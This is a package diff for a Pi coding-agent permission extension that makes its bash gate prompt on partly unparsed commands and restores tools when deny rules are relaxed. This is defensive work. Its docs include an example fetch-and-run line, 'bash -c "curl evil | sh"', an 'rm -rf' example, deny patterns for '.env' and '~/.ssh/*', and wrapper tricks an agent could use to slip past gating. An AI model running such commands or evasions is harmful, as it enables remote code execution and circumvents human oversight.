@gotgenes/pi-permission-system 31.0.1 → 31.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +27 -0
- package/README.md +1 -1
- package/docs/configuration.md +12 -2
- package/package.json +1 -1
- package/src/access-intent/bash/command-enumeration.ts +62 -7
- package/src/access-intent/bash/parser.ts +26 -5
- package/src/bash-advisory-check.ts +3 -2
- package/src/handlers/before-agent-start.ts +39 -15
- package/src/handlers/gates/bash-command.ts +75 -13
- package/src/handlers/gates/helpers.ts +5 -4
- package/src/index.ts +1 -0
- package/src/permission-session.ts +25 -0
- package/src/session-logger.ts +9 -3
- package/src/tool-surface-baseline.ts +101 -0
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,33 @@ All notable changes to this project will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
7
7
|
|
|
8
|
+
## [31.1.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.2...pi-permission-system-v31.1.0) (2026-09-04)
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
### Features
|
|
12
|
+
|
|
13
|
+
* **pi-permission-system:** record every change to the effective tool surface in the debug log ([bf0331a](https://github.com/gotgenes/pi-packages/commit/bf0331a26ace5dcee7f6a26064af1251fecaaa41))
|
|
14
|
+
|
|
15
|
+
### Bug Fixes
|
|
16
|
+
|
|
17
|
+
* **pi-permission-system:** restore a tool when its deny rule is relaxed mid-session ([190a25e](https://github.com/gotgenes/pi-packages/commit/190a25eccdcd5101badf6266f10142c809296983))
|
|
18
|
+
* **pi-permission-system:** forget a withheld tool that pi has unregistered ([404d819](https://github.com/gotgenes/pi-packages/commit/404d8194f9763ee8a228bd36176c5adbb944464c)), closes [#873](https://github.com/gotgenes/pi-packages/issues/873)
|
|
19
|
+
|
|
20
|
+
### Documentation
|
|
21
|
+
|
|
22
|
+
* **pi-permission-system:** document the tool-surface baseline ([0997065](https://github.com/gotgenes/pi-packages/commit/09970655c60bfe14c5a38b986301c480ed19f316))
|
|
23
|
+
|
|
24
|
+
## [31.0.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.1...pi-permission-system-v31.0.2) (2026-09-04)
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
### Bug Fixes
|
|
28
|
+
|
|
29
|
+
* **pi-permission-system:** prompt on a bash command whose parse could not be resolved ([2665c21](https://github.com/gotgenes/pi-packages/commit/2665c21f483bdaf57cb54826f8e19a1a8da493f3)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
|
|
30
|
+
|
|
31
|
+
### Documentation
|
|
32
|
+
|
|
33
|
+
* **pi-permission-system:** record the fail-closed floor for an unresolved parse ([33fd390](https://github.com/gotgenes/pi-packages/commit/33fd390106bcae9ed6df324f36b3cf7e01f5e5a7)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
|
|
34
|
+
|
|
8
35
|
## [31.0.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.0...pi-permission-system-v31.0.1) (2026-09-03)
|
|
9
36
|
|
|
10
37
|
|
package/README.md
CHANGED
|
@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
|
|
|
19
19
|
- **Gates MCP and skill access** at server, tool, and skill-name granularity
|
|
20
20
|
- **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
|
|
21
21
|
- **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
|
|
22
|
-
- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and
|
|
22
|
+
- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and a bash command the parser could not resolve, in whole or in part — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
|
|
23
23
|
- **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
|
|
24
24
|
- **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI, and every prompt it announces — including one forwarded up from a subagent — is answered by a `permissions:decision` on the same bus
|
|
25
25
|
- **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
|
package/docs/configuration.md
CHANGED
|
@@ -430,6 +430,11 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
|
|
|
430
430
|
- A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
|
|
431
431
|
A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
|
|
432
432
|
An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
|
|
433
|
+
- A command the parser could only *partly* resolve is floored the same way (the synthetic `<unparsed-bash-subtree>` pattern in the review log).
|
|
434
|
+
Recovered structure is not evidence of what runs, so any command unit at or beneath the statement holding the unresolved region has its `allow` clamped up to `ask`; an explicit `deny` or `ask` on that unit still decides.
|
|
435
|
+
The prompt names the **whole** command rather than the unit, because a partial failure can drop a command from the parse entirely and the fragment that did parse is not what you need to see.
|
|
436
|
+
A statement beside the failed one keeps its own rule.
|
|
437
|
+
Most such commands are simply malformed, and the shell would refuse them too — but not all: `git commit -F - <<'MSG' 2>&1 | tail -4` is valid bash that `tree-sitter-bash` cannot parse, because a heredoc redirect combined with `2>&1` **and** a pipe defeats the grammar though each pairing alone is fine.
|
|
433
438
|
- An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
|
|
434
439
|
An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
|
|
435
440
|
So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
|
|
@@ -438,8 +443,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
|
|
|
438
443
|
An `allow` is clamped to `ask`, and an explicit `deny` still denies.
|
|
439
444
|
The one exception is a wrapper running a [pure-reader command](#wrapper-transparency), whose direction is provable however unknown its argument feed is.
|
|
440
445
|
|
|
441
|
-
Every synthetic `ask` above — the
|
|
446
|
+
Every synthetic `ask` above — the two parse sentinels and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
|
|
442
447
|
An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
|
|
448
|
+
Approving one for the session works normally: the floors clamp the decision and leave the grant's provenance intact, so a command you have already approved does not prompt again.
|
|
443
449
|
|
|
444
450
|
Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
|
|
445
451
|
A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
|
|
@@ -1159,9 +1165,13 @@ Additional behaviors:
|
|
|
1159
1165
|
|
|
1160
1166
|
- Unknown/unregistered tools are blocked before permission checks (prevents bypass attempts)
|
|
1161
1167
|
- Tool filtering is restrict-only: the active set starts from pi's already-active tools (`pi.getActiveTools()`) and only ever has denied tools removed — the permission system never activates a tool pi left off by default (e.g. `find`, `grep`, `ls`)
|
|
1168
|
+
- Policy is applied to the tool surface pi has activated over the session, not to the previous turn's filtered result, so removing a `deny` rule restores the tool it had hidden without restarting pi.
|
|
1169
|
+
A tool that stops being active for any other reason (another extension deactivating it, pi unregistering it) is not restored.
|
|
1170
|
+
- On the turn a tool is restored, it is callable immediately but its `Available tools:` line reappears one turn later: pi builds the prompt an extension receives before the extension runs, so the line is only regenerated once the restored tool is already active
|
|
1162
1171
|
- A tool is removed only when every value under its surface resolves to `deny`; a surface with any reachable `allow` or `ask` pattern stays available (see [Tool Surfaces](#tool-surfaces))
|
|
1163
1172
|
- The `Available tools:` system prompt section is narrowed to match the filtered active tool set: denied tools' lines are dropped, the rest are kept, and the section is removed entirely only when no tool is allowed
|
|
1164
|
-
- The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn
|
|
1173
|
+
- The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn.
|
|
1174
|
+
A policy change is an intentional cache transition, as a mid-session agent switch already is.
|
|
1165
1175
|
- Extension-provided tools like `task`, `mcp`, and third-party tools are handled by exact registered name
|
|
1166
1176
|
- Generic extension-tool approval prompts include a bounded input preview; built-in file tools use concise human-readable summaries
|
|
1167
1177
|
- Permission review logs include `toolInputPreview` values for non-bash/non-MCP tool calls, with sensitive-keyed values masked and every value bounded by `reviewLogFieldMaxWidth` (see [Log file sensitivity](#log-file-sensitivity))
|
package/package.json
CHANGED
|
@@ -2,7 +2,10 @@ import {
|
|
|
2
2
|
EXECUTION_HOST_TYPES,
|
|
3
3
|
forEachExecutionIn,
|
|
4
4
|
} from "#src/access-intent/bash/nested-execution";
|
|
5
|
-
import
|
|
5
|
+
import {
|
|
6
|
+
parseUnresolvedWithin,
|
|
7
|
+
type TSNode,
|
|
8
|
+
} from "#src/access-intent/bash/parser";
|
|
6
9
|
import { redirectMayWriteFile } from "#src/access-intent/bash/redirect-analysis";
|
|
7
10
|
import {
|
|
8
11
|
type CommandWord,
|
|
@@ -53,6 +56,13 @@ export interface BashCommand {
|
|
|
53
56
|
* and an established {@link executedUnit}.
|
|
54
57
|
*/
|
|
55
58
|
readonly floorExemption?: FloorExemption;
|
|
59
|
+
/**
|
|
60
|
+
* Set when this unit was emitted from, or beneath, a statement holding a
|
|
61
|
+
* region tree-sitter could not resolve. Its decision is floored to at least
|
|
62
|
+
* `ask`, because the recovered structure is not evidence of what runs — ADR
|
|
63
|
+
* 0013 §10's fail-closed base case (#840).
|
|
64
|
+
*/
|
|
65
|
+
readonly parseUnresolved?: true;
|
|
56
66
|
}
|
|
57
67
|
|
|
58
68
|
/**
|
|
@@ -74,10 +84,18 @@ interface UnitScope {
|
|
|
74
84
|
* withholds the floor exemption from any wrapper unit beneath it.
|
|
75
85
|
*/
|
|
76
86
|
readonly writesViaRedirect: boolean;
|
|
87
|
+
/**
|
|
88
|
+
* True when the enclosing statement holds a region tree-sitter could not
|
|
89
|
+
* resolve, so every unit beneath it is floored rather than trusted (#840).
|
|
90
|
+
*/
|
|
91
|
+
readonly parseUnresolved: boolean;
|
|
77
92
|
}
|
|
78
93
|
|
|
79
|
-
/** A top-level command in the current shell, writing no file. */
|
|
80
|
-
const TOP_LEVEL_SCOPE: UnitScope = {
|
|
94
|
+
/** A top-level command in the current shell, writing no file, fully parsed. */
|
|
95
|
+
const TOP_LEVEL_SCOPE: UnitScope = {
|
|
96
|
+
writesViaRedirect: false,
|
|
97
|
+
parseUnresolved: false,
|
|
98
|
+
};
|
|
81
99
|
|
|
82
100
|
// ── Node-type vocabulary ─────────────────────────────────────────────────────
|
|
83
101
|
|
|
@@ -184,6 +202,11 @@ const STATEMENT_TYPES = new Set([
|
|
|
184
202
|
* The enclosing command/statement is always still emitted whole, so adding the
|
|
185
203
|
* nested units can only ever produce a more-restrictive decision, never weaker.
|
|
186
204
|
*
|
|
205
|
+
* A unit emitted from, or beneath, a statement holding a region tree-sitter
|
|
206
|
+
* could not resolve is marked {@link BashCommand.parseUnresolved}, so the
|
|
207
|
+
* verdict fold can floor it rather than match its recovered text against the
|
|
208
|
+
* bash rules (#840).
|
|
209
|
+
*
|
|
187
210
|
* Each emitted command unit has any leading `variable_assignment` prefix
|
|
188
211
|
* stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
|
|
189
212
|
* wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
|
|
@@ -197,7 +220,7 @@ export function collectCommands(node: TSNode): BashCommand[] {
|
|
|
197
220
|
|
|
198
221
|
function collectCommandsInto(
|
|
199
222
|
node: TSNode,
|
|
200
|
-
|
|
223
|
+
inherited: UnitScope,
|
|
201
224
|
out: BashCommand[],
|
|
202
225
|
): void {
|
|
203
226
|
// Anonymous tokens (operators `&&`/`;`/`|`, delimiters `$(`/`)`/`` ` ``/`(`)
|
|
@@ -205,6 +228,8 @@ function collectCommandsInto(
|
|
|
205
228
|
if (!node.isNamed) return;
|
|
206
229
|
if (COMMAND_ENUM_SKIP.has(node.type)) return;
|
|
207
230
|
|
|
231
|
+
const scope = unresolvedScope(node, inherited);
|
|
232
|
+
|
|
208
233
|
if (node.type === "command") {
|
|
209
234
|
out.push(makeCommandUnit(node, scope));
|
|
210
235
|
// A command's text already contains any substitution; descend its subtree
|
|
@@ -265,6 +290,29 @@ function collectCommandsInto(
|
|
|
265
290
|
collectHostedCommands(node, out);
|
|
266
291
|
}
|
|
267
292
|
|
|
293
|
+
/**
|
|
294
|
+
* The scope `node`'s own subtree establishes, marking it unresolved when
|
|
295
|
+
* tree-sitter could not parse a region within it (#840).
|
|
296
|
+
*
|
|
297
|
+
* The three pure containers are deliberately excluded. `program`, `list`, and
|
|
298
|
+
* `pipeline` report an error whenever *anything* anywhere beneath them failed,
|
|
299
|
+
* so asking there would mark every unit of the command and make the answer
|
|
300
|
+
* per-program rather than per-statement. Excluded, `rm -rf /tmp/y` in
|
|
301
|
+
* `echo hi > out.txt <> rw.txt; rm -rf /tmp/y` keeps its own rule, while every
|
|
302
|
+
* unit under the failed statement is floored.
|
|
303
|
+
*
|
|
304
|
+
* Over-marking is the fail-closed direction — the flag can only floor an
|
|
305
|
+
* `allow` up to `ask`, never weaken a decision — which is what makes marking a
|
|
306
|
+
* whole statement for a failure buried in one of its redirects acceptable.
|
|
307
|
+
*/
|
|
308
|
+
function unresolvedScope(node: TSNode, scope: UnitScope): UnitScope {
|
|
309
|
+
if (scope.parseUnresolved) return scope;
|
|
310
|
+
if (COMMAND_ENUM_DESCEND.has(node.type)) return scope;
|
|
311
|
+
return parseUnresolvedWithin(node)
|
|
312
|
+
? { ...scope, parseUnresolved: true }
|
|
313
|
+
: scope;
|
|
314
|
+
}
|
|
315
|
+
|
|
268
316
|
/** The wrapper facts a `command` node's words establish about its unit. */
|
|
269
317
|
interface WrapperFacts {
|
|
270
318
|
readonly wrapperKind?: WrapperKind;
|
|
@@ -284,7 +332,11 @@ function makeUnit(
|
|
|
284
332
|
const flagged = wrapperKind ? { ...scoped, wrapperKind } : scoped;
|
|
285
333
|
const named =
|
|
286
334
|
executedUnit === undefined ? flagged : { ...flagged, executedUnit };
|
|
287
|
-
|
|
335
|
+
const exempted =
|
|
336
|
+
floorExemption === undefined ? named : { ...named, floorExemption };
|
|
337
|
+
return scope.parseUnresolved
|
|
338
|
+
? { ...exempted, parseUnresolved: true }
|
|
339
|
+
: exempted;
|
|
288
340
|
}
|
|
289
341
|
|
|
290
342
|
/**
|
|
@@ -423,10 +475,13 @@ function collectHostedCommands(node: TSNode, out: BashCommand[]): void {
|
|
|
423
475
|
forEachExecutionIn(node, (contextNode, context) => {
|
|
424
476
|
// A nested execution starts fresh: an enclosing statement's redirect is
|
|
425
477
|
// that statement's, not the substitution's, exactly as #807 attributes a
|
|
426
|
-
// nested command's path tokens to its own command.
|
|
478
|
+
// nested command's path tokens to its own command. The parse question
|
|
479
|
+
// starts fresh for the same reason and costs nothing either way — each
|
|
480
|
+
// statement inside re-asks it of itself, and the enclosing statement's own
|
|
481
|
+
// units carry the mark regardless, so the verdict is unchanged (#840).
|
|
427
482
|
descendCommandChildren(
|
|
428
483
|
contextNode,
|
|
429
|
-
{ context, writesViaRedirect: false },
|
|
484
|
+
{ context, writesViaRedirect: false, parseUnresolved: false },
|
|
430
485
|
out,
|
|
431
486
|
);
|
|
432
487
|
});
|
|
@@ -5,10 +5,10 @@ import { memoizeAsyncWithRetry } from "#src/async-cache";
|
|
|
5
5
|
* Minimal subset of web-tree-sitter's SyntaxNode used by the AST walker.
|
|
6
6
|
* Defined locally so callers do not need to import web-tree-sitter types.
|
|
7
7
|
*
|
|
8
|
-
* The last two members are the parse's own health,
|
|
9
|
-
* describes a *successful* parse's structure. They
|
|
10
|
-
*
|
|
11
|
-
*
|
|
8
|
+
* The last two members are the parse's own health, where every other member
|
|
9
|
+
* describes a *successful* parse's structure. They are read only by this
|
|
10
|
+
* module's two `parseUnresolved*` predicates — see their doc comments for why
|
|
11
|
+
* that boundary matters.
|
|
12
12
|
*/
|
|
13
13
|
export interface TSNode {
|
|
14
14
|
readonly type: string;
|
|
@@ -51,7 +51,7 @@ export interface TSNode {
|
|
|
51
51
|
* belongs to no `<>` either. Over-refusing costs a prompt; under-refusing hands
|
|
52
52
|
* a write to a read grant.
|
|
53
53
|
*
|
|
54
|
-
* This is the one place {@link TSNode.hasError} and
|
|
54
|
+
* This module is the one place {@link TSNode.hasError} and
|
|
55
55
|
* {@link TSNode.previousSibling} are read. Keeping the lateral navigation here
|
|
56
56
|
* is deliberate: recovering-parser behavior is a fact about tree-sitter rather
|
|
57
57
|
* than about any construct, so a caller asks this question instead of
|
|
@@ -61,6 +61,27 @@ export function parseUnresolvedAt(node: TSNode): boolean {
|
|
|
61
61
|
return node.hasError || (node.previousSibling?.hasError ?? false);
|
|
62
62
|
}
|
|
63
63
|
|
|
64
|
+
/**
|
|
65
|
+
* Whether tree-sitter failed to resolve the syntax anywhere within `node`.
|
|
66
|
+
*
|
|
67
|
+
* The subtree-only question, and the one a walker descending statements asks:
|
|
68
|
+
* a statement holding an unresolved region is one whose recovered shape is
|
|
69
|
+
* invented rather than observed, so nothing beneath it is evidence of what
|
|
70
|
+
* runs. The failure can sit well below the statement that exposes it —
|
|
71
|
+
* `git commit -F - <<'MSG' 2>&1 | tail -4` strands its `ERROR` under
|
|
72
|
+
* `heredoc_redirect → file_redirect`, where no command node sees it.
|
|
73
|
+
*
|
|
74
|
+
* {@link parseUnresolvedAt} answers the redirect-shaped question instead,
|
|
75
|
+
* widening to the immediate predecessor because error recovery strands a
|
|
76
|
+
* discarded operator ahead of the redirect it belonged to. That widening is a
|
|
77
|
+
* fact about redirects, not about statements: a statement whose *predecessor*
|
|
78
|
+
* failed is not itself unparsed, and borrowing the wider predicate here would
|
|
79
|
+
* condemn every statement following a failed one.
|
|
80
|
+
*/
|
|
81
|
+
export function parseUnresolvedWithin(node: TSNode): boolean {
|
|
82
|
+
return node.hasError;
|
|
83
|
+
}
|
|
84
|
+
|
|
64
85
|
/**
|
|
65
86
|
* Minimal subset of web-tree-sitter's Parser used by this module.
|
|
66
87
|
*/
|
|
@@ -10,8 +10,9 @@ import type { PermissionCheckResult } from "#src/types";
|
|
|
10
10
|
* command-pattern units and routed through the same shared orchestrator the
|
|
11
11
|
* enforcement gate uses (`resolveBashCommandCheck`) — so a chained/nested
|
|
12
12
|
* command returns the most-restrictive decision (`deny > ask > allow`) and
|
|
13
|
-
* inherits the opaque-wrapper floor (#481) and
|
|
14
|
-
* `<unparseable-bash-command>`
|
|
13
|
+
* inherits the opaque-wrapper floor (#481) and both fail-closed parse
|
|
14
|
+
* sentinels — `<unparseable-bash-command>` (#452) and `<unparsed-bash-subtree>`
|
|
15
|
+
* (#840) — at parity with the gate.
|
|
15
16
|
*
|
|
16
17
|
* In the pre-warm window (`parseBashCommandsSync` returns `null`) it falls back
|
|
17
18
|
* to the pre-#309 whole-string match, so the advisory answer is never *weaker*
|
|
@@ -5,9 +5,11 @@ import type {
|
|
|
5
5
|
import type { TurnPreparation } from "#src/handlers/session-turn-prep";
|
|
6
6
|
import type { PermissionResolver } from "#src/permission-resolver";
|
|
7
7
|
import type { PermissionSession } from "#src/permission-session";
|
|
8
|
+
import type { DebugLogger } from "#src/session-logger";
|
|
8
9
|
import { resolveSkillPromptEntries } from "#src/skill-prompt-sanitizer";
|
|
9
10
|
import { sanitizeAvailableToolsSection } from "#src/system-prompt-sanitizer";
|
|
10
11
|
import { getToolNameFromValue, type ToolRegistry } from "#src/tool-registry";
|
|
12
|
+
import type { ToolSurfaceObservation } from "#src/tool-surface-baseline";
|
|
11
13
|
|
|
12
14
|
/** Minimal subset of BeforeAgentStartEvent used by this handler. */
|
|
13
15
|
interface BeforeAgentStartPayload {
|
|
@@ -42,7 +44,11 @@ export function shouldExposeTool(
|
|
|
42
44
|
* session state
|
|
43
45
|
* - `session` — encapsulates all mutable session state and lifecycle operations
|
|
44
46
|
* - `resolver` — owns permission-query surface: `isToolFullyDenied`, skill check
|
|
45
|
-
* - `toolRegistry` — Pi tool API subset (getActive + setActive)
|
|
47
|
+
* - `toolRegistry` — Pi tool API subset (getAll + getActive + setActive)
|
|
48
|
+
* - `logger` — records each change to the effective tool surface
|
|
49
|
+
*
|
|
50
|
+
* The active set is recomputed from the session's pre-filter tool surface
|
|
51
|
+
* every turn, so relaxing a rule restores the tool it had withheld (#873).
|
|
46
52
|
*/
|
|
47
53
|
export class AgentPrepHandler {
|
|
48
54
|
constructor(
|
|
@@ -50,6 +56,7 @@ export class AgentPrepHandler {
|
|
|
50
56
|
private readonly session: PermissionSession,
|
|
51
57
|
private readonly resolver: PermissionResolver,
|
|
52
58
|
private readonly toolRegistry: ToolRegistry,
|
|
59
|
+
private readonly logger: DebugLogger,
|
|
53
60
|
) {}
|
|
54
61
|
|
|
55
62
|
// eslint-disable-next-line @typescript-eslint/require-await
|
|
@@ -60,24 +67,23 @@ export class AgentPrepHandler {
|
|
|
60
67
|
this.turnPrep.prepare(ctx);
|
|
61
68
|
|
|
62
69
|
const agentName = this.session.resolveAgentName(ctx, event.systemPrompt);
|
|
63
|
-
const
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
for (const tool of activeTools) {
|
|
67
|
-
const toolName = getToolNameFromValue(tool);
|
|
68
|
-
if (!toolName) {
|
|
69
|
-
continue;
|
|
70
|
-
}
|
|
71
|
-
if (
|
|
70
|
+
const surface = this.session.resolveExposedTools(
|
|
71
|
+
this.observeToolSurface(),
|
|
72
|
+
(toolName) =>
|
|
72
73
|
shouldExposeTool(toolName, agentName, (t, a) =>
|
|
73
74
|
this.resolver.isToolFullyDenied(t, a),
|
|
74
|
-
)
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
}
|
|
78
|
-
}
|
|
75
|
+
),
|
|
76
|
+
);
|
|
77
|
+
const allowedTools = [...surface.exposed];
|
|
79
78
|
|
|
80
79
|
this.toolRegistry.setActive(allowedTools);
|
|
80
|
+
if (surface.changed) {
|
|
81
|
+
this.logger.debug("tool_surface.changed", {
|
|
82
|
+
exposed: surface.exposed,
|
|
83
|
+
withheld: surface.withheld,
|
|
84
|
+
restored: surface.restored,
|
|
85
|
+
});
|
|
86
|
+
}
|
|
81
87
|
|
|
82
88
|
const toolPromptResult = sanitizeAvailableToolsSection(
|
|
83
89
|
event.systemPrompt,
|
|
@@ -94,4 +100,22 @@ export class AgentPrepHandler {
|
|
|
94
100
|
? { systemPrompt: skillPromptResult.prompt }
|
|
95
101
|
: {};
|
|
96
102
|
}
|
|
103
|
+
|
|
104
|
+
private observeToolSurface(): ToolSurfaceObservation {
|
|
105
|
+
return {
|
|
106
|
+
active: toolNamesOf(this.toolRegistry.getActive()),
|
|
107
|
+
registered: new Set(toolNamesOf(this.toolRegistry.getAll())),
|
|
108
|
+
};
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
function toolNamesOf(tools: readonly unknown[]): string[] {
|
|
113
|
+
const names: string[] = [];
|
|
114
|
+
for (const tool of tools) {
|
|
115
|
+
const toolName = getToolNameFromValue(tool);
|
|
116
|
+
if (toolName) {
|
|
117
|
+
names.push(toolName);
|
|
118
|
+
}
|
|
119
|
+
}
|
|
120
|
+
return names;
|
|
97
121
|
}
|
|
@@ -40,6 +40,12 @@ import type { PermissionCheckResult } from "#src/types";
|
|
|
40
40
|
* explicit `deny` covering it denies outright rather than being masked into an
|
|
41
41
|
* approvable prompt (#712).
|
|
42
42
|
*
|
|
43
|
+
* A *partial* parse failure is the other half of that clause: the units the
|
|
44
|
+
* recovery produced are enumerated normally, and any one the enumerator marked
|
|
45
|
+
* {@link BashCommand.parseUnresolved} has its `allow` floored to a synthetic
|
|
46
|
+
* `ask` naming the whole command (`<unparsed-bash-subtree>`, #840), because
|
|
47
|
+
* recovered structure is not evidence of what runs.
|
|
48
|
+
*
|
|
43
49
|
* Pure and synchronous: the (async, tree-sitter) parse happens once in the
|
|
44
50
|
* handler, which passes the decomposed `commands` here.
|
|
45
51
|
*/
|
|
@@ -52,6 +58,12 @@ const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
|
|
|
52
58
|
indirection: "<indirection-bash-wrapper>",
|
|
53
59
|
};
|
|
54
60
|
|
|
61
|
+
/**
|
|
62
|
+
* The synthetic `matchedPattern` recorded when a unit the parse could not
|
|
63
|
+
* resolve has its `allow` floored to `ask` (ADR 0013 §10, #840).
|
|
64
|
+
*/
|
|
65
|
+
const UNPARSED_SUBTREE_SENTINEL = "<unparsed-bash-subtree>";
|
|
66
|
+
|
|
55
67
|
export function resolveBashCommandCheck(
|
|
56
68
|
command: string,
|
|
57
69
|
commands: BashCommand[],
|
|
@@ -76,25 +88,75 @@ export function resolveBashCommandCheck(
|
|
|
76
88
|
};
|
|
77
89
|
}
|
|
78
90
|
|
|
79
|
-
const results = commands.map((cmd) =>
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
cmd.wrapperKind && base.state === "allow"
|
|
83
|
-
? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
|
|
84
|
-
: base;
|
|
85
|
-
const result = cmd.context
|
|
86
|
-
? { ...floored, commandContext: cmd.context }
|
|
87
|
-
: floored;
|
|
88
|
-
return cmd.executedUnit === undefined
|
|
89
|
-
? result
|
|
90
|
-
: { ...result, executedUnit: cmd.executedUnit };
|
|
91
|
-
});
|
|
91
|
+
const results = commands.map((cmd) =>
|
|
92
|
+
resolveCommandUnit(cmd, command, agentName, resolver),
|
|
93
|
+
);
|
|
92
94
|
return (
|
|
93
95
|
pickMostRestrictive(results) ??
|
|
94
96
|
resolveOnBashSurface(command, agentName, resolver)
|
|
95
97
|
);
|
|
96
98
|
}
|
|
97
99
|
|
|
100
|
+
/**
|
|
101
|
+
* Resolve one command unit of the chain: its own `bash`-surface rule, floored
|
|
102
|
+
* where the enumerator established a reason to floor it, then tagged with the
|
|
103
|
+
* facts the prompt and the session-approval suggestion read off the winner.
|
|
104
|
+
*/
|
|
105
|
+
function resolveCommandUnit(
|
|
106
|
+
cmd: BashCommand,
|
|
107
|
+
command: string,
|
|
108
|
+
agentName: string | undefined,
|
|
109
|
+
resolver: ScopedPermissionResolver,
|
|
110
|
+
): PermissionCheckResult {
|
|
111
|
+
const base = resolveOnBashSurface(cmd.text, agentName, resolver);
|
|
112
|
+
const floored =
|
|
113
|
+
cmd.wrapperKind && base.state === "allow"
|
|
114
|
+
? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
|
|
115
|
+
: base;
|
|
116
|
+
const unparsed = floorUnparsedUnit(cmd, command, floored);
|
|
117
|
+
const contextual = cmd.context
|
|
118
|
+
? { ...unparsed, commandContext: cmd.context }
|
|
119
|
+
: unparsed;
|
|
120
|
+
return cmd.executedUnit === undefined
|
|
121
|
+
? contextual
|
|
122
|
+
: { ...contextual, executedUnit: cmd.executedUnit };
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
/**
|
|
126
|
+
* Floor a unit the parse could not resolve, so a subtree the fold did not
|
|
127
|
+
* understand cannot ride a permissive rule (ADR 0013 §10, #840).
|
|
128
|
+
*
|
|
129
|
+
* Three properties carry the safety argument.
|
|
130
|
+
*
|
|
131
|
+
* The result names the **whole** command, not the unit: the reason for the ask
|
|
132
|
+
* is that part of the command was not understood, and a partial parse can drop
|
|
133
|
+
* a command from enumeration entirely, so naming the fragment that did parse
|
|
134
|
+
* withholds exactly what the user needs to judge it. `command` is also the
|
|
135
|
+
* session-approval pattern, and a fragment there would grant more than the
|
|
136
|
+
* prompt showed.
|
|
137
|
+
*
|
|
138
|
+
* Only an `allow` is floored, so an explicit `deny` or `ask` on the unit
|
|
139
|
+
* decides instead — and a wrapper unit already floored to `ask` keeps its own,
|
|
140
|
+
* more specific sentinel.
|
|
141
|
+
*
|
|
142
|
+
* The result is built by spreading `resolved`, so a `source: "session"` grant
|
|
143
|
+
* survives to `GateRunner`'s session fast path, which tests the source before
|
|
144
|
+
* the state. A grant the user gave for this exact command still holds.
|
|
145
|
+
*/
|
|
146
|
+
function floorUnparsedUnit(
|
|
147
|
+
cmd: BashCommand,
|
|
148
|
+
command: string,
|
|
149
|
+
resolved: PermissionCheckResult,
|
|
150
|
+
): PermissionCheckResult {
|
|
151
|
+
if (!cmd.parseUnresolved || resolved.state !== "allow") return resolved;
|
|
152
|
+
return {
|
|
153
|
+
...resolved,
|
|
154
|
+
state: "ask",
|
|
155
|
+
command,
|
|
156
|
+
matchedPattern: UNPARSED_SUBTREE_SENTINEL,
|
|
157
|
+
};
|
|
158
|
+
}
|
|
159
|
+
|
|
98
160
|
/**
|
|
99
161
|
* Resolve a wrapper unit whose own text resolved to `allow`.
|
|
100
162
|
*
|
|
